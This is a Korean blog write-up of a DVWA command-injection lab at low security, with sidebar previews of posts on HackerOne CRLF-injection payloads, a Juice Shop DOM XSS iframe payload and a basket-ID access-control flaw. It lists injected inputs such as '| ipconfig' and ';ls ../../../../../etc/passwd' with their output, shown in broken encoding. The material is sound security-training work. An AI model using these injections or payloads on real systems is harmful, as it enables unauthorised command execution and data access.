기본 콘텐츠로 건너뛰기

DVWA Command Injection


DVWA Command Injection [ Security Low ] 

[그림 1]


Summary
[그림1] 는 Commnad Injection 공격을 시도해 볼 수 있도록 개발된 로그인 폼을 제공하고 있습니다.

Description
[그림 1] 에서는 특수문자에 대한 필터링과 입력 데이터에 대한 유효성 검사가 없기 때문에 Command Injection 공격 수행이 가능합니다.

Steps to reproduce
1. input ' & ping 127.0.0.1

Ping a device

Enter an IP address:  
Ping ��û���� ' ȣ��Ʈ�� ã�� �� �����ϴ�. �̸��� Ȯ���ϰ� �ٽ� �õ��Ͻʽÿ�.

Ping 127.0.0.1 32����Ʈ ������ ���:
127.0.0.1�� ����: ����Ʈ=32 �ð�<1ms TTL=128
127.0.0.1�� ����: ����Ʈ=32 �ð�<1ms TTL=128
127.0.0.1�� ����: ����Ʈ=32 �ð�<1ms TTL=128
127.0.0.1�� ����: ����Ʈ=32 �ð�<1ms TTL=128

127.0.0.1�� ���� Ping ���:
    ��Ŷ: ���� = 4, ���� = 4, �ս� = 0 (0% �ս�),
�պ� �ð�(�и���):
    �ּ� = 0ms, �ִ� = 0ms, ��� = 0ms


2. input | ipconfig







Ping a device



Enter an IP address:  


Windows IP ����


�� �� ���� ����� VPN - VPN Client:

   �̵�� ���� . . . . . . . . : �̵�� ���� ����
   ���Ằ DNS ���̻�. . . . : 

�̴��� ����� �̴���:

   �̵�� ���� . . . . . . . . : �̵�� ���� ����
   ���Ằ DNS ���̻�. . . . : 

�̴��� ����� VirtualBox Host-Only Network:

   ���Ằ DNS ���̻�. . . . : 
   ��ũ-���� IPv6 �ּ� . . . . : fe80::b0
   �ڵ� ���� IPv4 �ּ� . . . . : 169.2
   ����� ����ũ . . . . . . . : 255.255.0.0
   �⺻ ����Ʈ���� . . . . . . : 

���� LAN ����� ���� ���� ����* 1:

   �̵�� ���� . . . . . . . . : �̵�� ���� ����
   ���Ằ DNS ���̻�. . . . : 

���� LAN ����� ���� ���� ����* 3:

   �̵�� ���� . . . . . . . . : �̵�� ���� ����
   ���Ằ DNS ���̻�. . . . : 

�̴��� ����� VMware Network Adapter VMnet1:

   ���Ằ DNS ���̻�. . . . : 
   ��ũ-���� IPv6 �ּ� . . . . : fe80::e53
   IPv4 �ּ� . . . . . . . . . : 192.
   ����� ����ũ . . . . . . . : 255.255.255.0
   �⺻ ����Ʈ���� . . . . . . : 

���� LAN ����� Wi-Fi:

   ���Ằ DNS ���̻�. . . . : 
   ��ũ-���� IPv6 �ּ� . . . . : fe80::b1f5:8a
   IPv4 �ּ� . . . . . . . . . : 192.
   ����� ����ũ . . . . . . . : 255.255.255.0
   �⺻ ����Ʈ���� . . . . . . : 192.








3. ;ls ../../../../../etc/passwd









Ping a device



Enter an IP address:  


Ping ��û���� ;ls ȣ��Ʈ�� ã�� �� �����ϴ�. �̸��� Ȯ���ϰ� �ٽ� �õ��Ͻʽÿ�













Impact

Linux 및 Windows와 같은 운영 체제 명령어 사용으로 인한 중요파일 접근 및 연계 원격코드실행(RCE)가 가능합니다. 
































댓글











댓글 쓰기



















이 블로그의 인기 게시물



















HackerOne Vulnerability Analysis 1




























          이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다.   Link :  https://hackerone.com/           Vulnerabilities list   1. CRLF Injection  2. Open Redirection   3. Cross-Site-Scripting  4. SQL-Injection  5. Path Traversal                 CRLF Injection    PoC   http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com;      HTTP Response:   HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com;    PoC:   https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com    HTTP Response:   HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com       PoC   (Chrome, Internet Explorer)    http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;    HTTP Response:   Location: h















댓글 쓰기









자세한 내용 보기






























Juice Shop XSS [ Dom based XSS ]




























Juice Shop XSS [ Dom based XSS ]      Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다.   Payload :  <iframe src="javascript:alert(`xss`)">        다음과 같이 이는 < , > 는 &lt; , &gt; 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.















댓글 쓰기









자세한 내용 보기






























Juice Shop Broken Access Control [ Basket Access Tier 1 ]




























Juice Shop Broken Access Control [ Basket Access Tier 1 ]     이 취약점은 내 장바구니가 아닌 타인의 장바구니를 아무 인증결합 없이 무단으로 조회가 가능한지에 대한 취약점 진단입니다.    장바구니 버툰을 누르는 동시에 패킷을 잡고 클라이언트측 관점에서 다음과 같이 Reqeust 값을 분석합니다.     위와 같이  GET /rest/basket/53   으로 53번이라는 값을 가지고 있습니다. 이는 현재 내 장바구니의 고유 번호인걸로 추측이됩니다.   만약 이 숫자를 내 장바구니의 고유번호인 53이 아닌 , 2 , 3, 13 , 51 이런식으로 다른사람의 장바구니값을 넣게 되면 다른 사람의 장바구니를 무단으로 조회가 가능합니다.    위와같이  GET /rest/basket/53  ->  GET /rest/basket/1   으로 변경 후 , 마찬가지로   GET /rest/basket/3  , GET /rest/basket/7  등을 입력하여 무단으로 다른사람의 장바구니를 조회할수있는지 취약점을 진단합니다.    그 후 , 내 장바구니를 클릭하여 확인 시 , 아래와 같이 내 장바구니가 아닌 다른 사람의 장바구니를 무단으로 접근이 가능하여 접근관련 인증 처리 , 인증결합 취약점에 취약합니다.    















댓글 쓰기









자세한 내용 보기